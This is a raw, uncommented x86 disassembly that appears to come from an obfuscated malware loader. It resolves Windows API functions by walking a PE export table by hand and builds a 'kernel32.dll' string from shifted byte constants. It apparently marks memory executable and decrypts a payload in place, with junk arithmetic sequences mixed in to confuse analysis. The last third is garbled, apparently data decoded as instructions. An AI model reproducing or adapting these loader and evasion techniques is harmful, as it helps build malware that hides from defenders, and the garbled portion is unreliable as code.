mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x50f500
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x50f7c9
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x50f532
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x50f7c9
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x50f557
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x50f7c9
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
jmp 0x50f5b1
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x50f7bd
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x50f621
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x50f6d3
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x50f6d3
push ecx
push esi
add esp, 4
add ecx, 0x167b
sub ecx, 0x8862
and ecx, 0x1585b
pop ecx
push ebx
add ebx, 0x12095
pop ebx
push ecx
call 0x50f67c
add byte [ebx + eax*2], dh
aas
xor cl, byte [eax + 0x49]
dec ebp
add esp, 4
pop ecx
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
cmp edx, ecx
je 0x50f6c5
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x50f6cc
jmp 0x50f612
jmp 0x50f6d3
push edi
push edx
add esp, 4
or edi, 0x17ff
xor edi, 0x3236
and edi, 0x12302
pop edi
push esi
or esi, 0x14752
xor esi, 0x7e1e
or esi, 0x880b
and esi, 0xa832
pop esi
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
cmp ecx, eax
jne 0x50f732
mov dword [ebp - 0xc6c], 0
jmp 0x50f7a1
push edi
call 0x50f743
add byte [ebp + 0x4b], cl
inc edx
inc edi
cmp al, byte [edx + 0x4c]
inc eax
inc esp
cmp eax, dword [ebx + 0x9e804c4]
add byte [eax], al
add byte [eax], al
xor al, byte [eax + 0x34]
xor eax, 0x3e484a3a
add esp, 4
add edi, 0x2186
sub edi, 0x17bc5
pop edi
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
or ecx, 0x20
cmp edx, ecx
jge 0x50f797
mov dword [ebp - 0xc6c], 0xffffffff
jmp 0x50f7a1
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 0
jne 0x50f7b8
mov edx, dword [ebp - 0x190c]
mov dword [ebp - 0x4f0], edx
jmp 0x50f7c9
jmp 0x50f5a2
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push eax
push edi
add esp, 4
xor eax, 0x185ea
sub eax, 0xfc17
sub eax, 0xcaed
and eax, 0x17970
pop eax
push edx
xor edx, 0x1236
or edx, 0xfc78
xor edx, 0x11174
pop edx
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x50f87a
push edx
sub edx, 0xa8de
xor edx, 0x6643
xor edx, 0x15356
pop edx
push ebx
push edx
add esp, 4
add ebx, 0x10d17
or ebx, 0x104b2
sub ebx, 0xe9e9
add ebx, 0xa628
pop ebx
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x50f897
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x50f8f3
push edx
push ecx
add esp, 4
call 0x50f8ba
add byte [esi + 0x42], al
inc edx
cmp dword [ecx], edi
inc ecx
inc edi
xor dh, byte [edx]
inc edx
add esp, 4
or edx, 0x11ba5
call 0x50f8d3
add byte [ebp + 0x3a], cl
cmp byte [ebx], dh
inc ecx
inc ebx
inc ebx
inc eax
dec esp
add esp, 4
pop edx
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x50f888
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x50f96b
push edx
sub edx, 0xca6d
call 0x50f93c
add byte [ebx + 0x33], cl
dec edi
cmp eax, 0x3935383f
xor eax, 0x4c48335
xor edx, 0x1525d
pop edx
push ebx
sub ebx, 0x366c
jmp 0x50f956
pop ebx
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
push edi
or edi, 0x1540c
add edi, 0x12107
and edi, 0xfa33
add edi, 0x2551
pop edi
push edi
call 0x50f993
add byte [eax + edi + 0x39], cl
cmp byte [ebx + 0x37], cl
inc edx
add esp, 4
sub edi, 0x13f3c
pop edi
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff01ff
pop ecx
pop eax
push ebx
test ch, al
add eax, 0x10109e9
add dword [ecx], eax
inc ebp
inc esp
dec ebx
cmp al, 0x4a
inc esp
cmp eax, 0x6005c584
push ecx
or cl, 0x67
cdq
add dword [ecx], eax
xor cl, 0x53
stc
add dword [ecx], eax
pop ecx
push ecx
and cl, 0x7a
pop esp
add dword [ecx], eax
xor cl, 0x41
aaa
add al, byte [ecx]
pop ecx
mov ebx, 0x101016c
mov dl, byte [bp - 0x1543]
add byte [eax], al
mov ecx, 0x1010166
mov al, byte [bp - 0x1541]
add byte [eax], al
mov edx, 0x1010173
mov cl, byte [bp - 0x153f]
add byte [eax], al
mov ebx, 0x101016f
mov dl, byte [bp - 0x153d]
add byte [eax], al
mov ecx, 0x1010166
mov al, byte [bp - 0x153b]
add byte [eax], al
mov edx, 0x101016d
mov cl, byte [bp - 0x1539]
add byte [eax], al
mov ebx, 0x1010134
mov dl, byte [bp - 0x1537]
add byte [eax], al
mov ecx, 0x1010133
mov al, byte [bp - 0x1535]
add byte [eax], al
mov edx, 0x101012f
mov cl, byte [bp - 0x1533]
add byte [eax], al
mov ebx, 0x1010165
mov dl, byte [bp - 0x1531]
add byte [eax], al
mov ecx, 0x101016d
mov al, byte [bp - 0x152f]
add byte [eax], al
mov edx, 0x101016d
mov cl, byte [bp - 0x152d]
add byte [eax], al
xor al, 0xd3
mov dl, byte [bp - 0x152b]
add byte [eax], al
mov dword [esi + 0xf06d], 0x6e86c748
lock add byte [eax], al
mov word [esi + 0xf06f], 0xc775
xchg byte [eax - 0x10], dh
add byte [eax], al
dec esi
mov dword [esi + 0xf071], 0x7286c770
lock add byte [eax], al
mov dword gs:[esi + 0xf073], 0x7486c776
lock add byte [eax], al
insd dword es:[edi], dx
mov dword [esi + 0xf075], 0x7686c766
lock add byte [eax], al
dec ecx
mov dword [esi + 0xf077], 0x7886c762
lock add byte [eax], al
outsd dx, dword [esi]
mov dword [esi + 0xf079], 0x7a86c765
lock add byte [eax], al
insd dword es:[edi], dx
mov dword [esi + 0xf07b], 0x7c86c766
lock add byte [eax], al
pop eax
mov dword [esi + 0xf07d], 0x84585701
lds eax, [0x10109e9]
add dword [ecx], eax
aas
cmp bh, byte [edi]
cmp edi, dword ss:[ecx]
push eax
test ch, al
add eax, 0x10109e9
add dword [ecx], eax
cmp eax, 0x36454745
dec ebp
dec ebx
test ch, al
add eax, 0x8091f782
add dword [ecx], eax
add bh, 0xb2
sbb eax, dword [ecx]
add dword [edi - 0x39], ebx
xchg byte [ecx + 0x470000f0], bl
mov dword [esi + 0xf09a], 0x9b86c76a
lock add byte [eax], al
outsd dx, dword [esi]
mov dword [esi + 0xf09c], 0x9d86c765
lock add byte [eax], al
push ebx
mov dword [esi + 0xf09e], 0x9f86c766
lock add byte [eax], al
je 0x50fb18
mov dword [esi + 0xf09b], 0x9c86c76f
lock add byte [eax], al
mov dword gs:[esi + 0xf09d], 0x9e86c753
lock add byte [eax], al
mov word [esi + 0xf09f], 0xc774
xchg byte [eax + 0x700000f0], ah
mov dword [esi + 0xf0a1], 0xa286c776
lock add byte [eax], al
jae 0x50fb2d
xchg byte [ebx + 0x640000f0], ah
mov dword [esi + 0xf0a4], 0xa586c766
lock add byte [eax], al
pop eax
mov dword [esi + 0xf0a6], 0xe8825801
xchg byte [eax - 0x177dfefe], al
cmpsb byte [esi], byte es:[edi]
mov eax, 0xd0820101
ljmp 0x8253